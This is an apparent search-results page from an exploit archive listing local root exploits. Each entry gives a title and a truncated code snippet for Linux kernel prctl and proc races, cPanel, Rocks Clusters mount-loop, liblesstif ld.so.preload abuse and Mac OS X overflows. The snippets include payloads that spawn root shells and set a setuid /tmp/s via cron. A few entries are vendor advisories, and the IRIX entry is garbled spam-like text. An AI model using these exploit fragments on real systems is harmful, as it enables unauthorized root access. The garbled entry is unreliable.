824 matches found
cpanel108x.txt
!/usr/bin/perl -w 10/01/06 - cPanel if/REMOTEUSER/ die "$cpwrap is patched.\n"; close CPWRAP; open STRICT, "strict.pm" or die "Can't open strict.pm: $!\n"; print STRICT "$e = "int mainsetreuid0,0;setregid0,0;system\\\"/bin/bash\\\";";\n"; print STRICT "system"/bin/echo -n...
Infecting Elf Binaries to Gain Local Root Exploit
Exploit for linux platform in category local exploits ================================================= Infecting Elf Binaries to Gain Local Root Exploit ================================================= gcc infR3.s -o infR3 strip infR3 find a writable binary example: ls ./infR3 /bin/ls when root...
cpexploit.txt
All cPanel versions which were released before August 23rd are vulnerable to a local root exploit. Exact version numbers are unclear. Doing a "ls -l /usr/local/cpanel/version" is a good way to determine the last time cPanel was updated. This exploit made the news when it was used to circulate an ...
liblesstif 2-0.93.94-4mdk - 'DEBUG_FILE' Local Privilege Escalation
!/bin/sh echo echo "mtink libXm local root exploit" echo " [email protected] " echo umask 000 export DEBUGFILE="/etc/ld.so.preload" cat /tmp/lib.c void initvoid if getuid!=0 && geteuid==0 setuid0; unlink"/etc/ld.so.preload"; execl"/bin/bash", "bash", 0; EOF /usr/bin/gcc -o /tmp/lib.o -c /tmp/lib.c...
Mac OS X <= 10.3.8 (CF_CHARSET_PATH) Local BOF Exploit (2)
Exploit for macOS platform in category local exploits ========================================================== Mac OS X = 10.3.8 CFCHARSETPATH Local BOF Exploit 2 ========================================================== !/usr/bin/perl http://www.digitalmunition.com written by kf...
Apple Mac OSX 10.3.8 - CF_CHARSET_PATH Local Buffer Overflow (2)
Apple Mac OSX 10.3.8 - CFCHARSETPATH Local Buffer Overflow 2 !/usr/bin/perl http://www.digitalmunition.com written by kf kflistsatdigitalmunitiondotcom Variant of CFCHARSETPATH a local root exploit by v9atfakehalo.us I was in the mood for some retro shit this morning, and I need root on some old...
rocksmountdirty.txt
!/bin/sh rocksmountdirty.sh: Rocks release =4.1 local root exploit make sure 'mount-loop' is in your path for this to work. coded by: [email protected] http://xavsec.blogspot.com echo "Rocks Clusters =4.1 mount-loop local root exploit by [email protected] http://xavsec.blogspot.com" echo...
Linux Kernel <= 2.6.17.4 (proc) Local Root Exploit
No description provided by source. / Author: h00lyshit Vulnerable: Linux 2.6 ALL Type of Vulnerability: Local Race Tested On : various distros Vendor Status: unknown Disclaimer: In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or sprea...
Rocks Clusters <= 4.1 (mount-loop) Local Root Exploit
Exploit for linux platform in category local exploits ===================================================== Rocks Clusters = 4.1 mount-loop Local Root Exploit ===================================================== !/bin/sh rocksmountdirty.sh: Rocks release =4.1 local root exploit make sure...
Rocks Clusters <= 4.1 (mount-loop) Local Root Exploit
No description provided by source. !/bin/sh rocksmountdirty.sh: Rocks release =4.1 local root exploit make sure 'mount-loop' is in your path for this to work. coded by: [email protected] http://xavsec.blogspot.com echo "Rocks Clusters =4.1 mount-loop local root exploit by [email protected]...
Linux Kernel <= 2.6.17.4 (proc) Local Root Exploit
Exploit for linux platform in category local exploits ================================================== Linux Kernel Example: h00lyshit /usr/X11R6/lib/libethereal.so.0.0.1 if y0u dont have one, make big file 100MB in /tmp with dd and try to junk the cache e.g. cat /usr/lib/ /dev/null / include...
Rocks Clusters <= 4.1 (umount-loop) Local Root Exploit
No description provided by source. !/usr/bin/env python rocksumountdirty.py: Rocks release =4.1 local root exploit quick and nasty version of the exploit. make sure the . is writable and you clean up afterwards. ; coded by: [email protected] http://xavsec.blogspot.com x=import'os';c=x.getcwd...
Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (4)
Exploit for linux platform in category local exploits ================================================================== Linux Kernel 2.6.13 /tmp/getsuid.c include include include include include include include char...
prctl.sh.txt
!/bin/sh PRCTL local root exp By: Sunix + effected systems 2.6.13 /tmp/getsuid.c include include include include include include include char payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n root chown root.root /tmp/s ; chmod 4777 /tmp/s ; rm -f...
Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (3)
No description provided by source. / $Id: raptorprctl.c,v 1.1 2006/07/13 14:21:43 raptor Exp $ raptorprctl.c - Linux 2.6.x suiddumpable vulnerability Copyright c 2006 Marco Ivaldi [email protected] The suiddumpable support in Linux kernel 2.6.13 up to versions before 2.6.17.4, and 2.6.16...
Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (2)
Exploit for linux platform in category local exploits ================================================================== Linux Kernel 2.6.13 = 2.6.13 prctl kernel exploit C Julien TINNES If you read the Changelog from 2.6.13 you've probably seen: PATCH setuid core dump This patch mainly adds...
FreeBSD : openvpn -- LD_PRELOAD code execution on client through malicious or compromised server (be4ccb7b-c48b-11da-ae12-0002b3b60e4c)
Hendrik Weimer reports : OpenVPN clients are a bit too generous when accepting configuration options from a server. It is possible to transmit environment variables to client-side shell scripts. There are some filters in place to prevent obvious nonsense, however they don't catch the good old...
FreeBSD : kpopup -- local root exploit and local denial of service (1613db79-8e52-11da-8426-000fea0a9611)
Mitre CVE reports : Format string vulnerability in main.cpp in kpopup 0.9.1-0.9.5pre2 allows local users to cause a denial of service segmentation fault and possibly execute arbitrary code via format string specifiers in command line arguments. misc.cpp in KPopup 0.9.1 trusts the PATH variable wh...
[SECURITY] [DSA 1040-1] New gdm packages fix local root exploit
-------------------------------------------------------------------------- Debian Security Advisory DSA 1040-1 [email protected] http://www.debian.org/security/ Martin Schulze April 24th, 2006 http://www.debian.org/security/faq -...
irix6local.txt
SGI IRIX 6.usr/sysadm/bin/runpriv draft resolution to be to complete at antecedence but to stoke seriously came ran ready-to-wear there is no need to explain in the interest of owners yonder protection them from geeks but whom need to make realize excellent. visit http://lezr.com/vb echo SGI IRIX...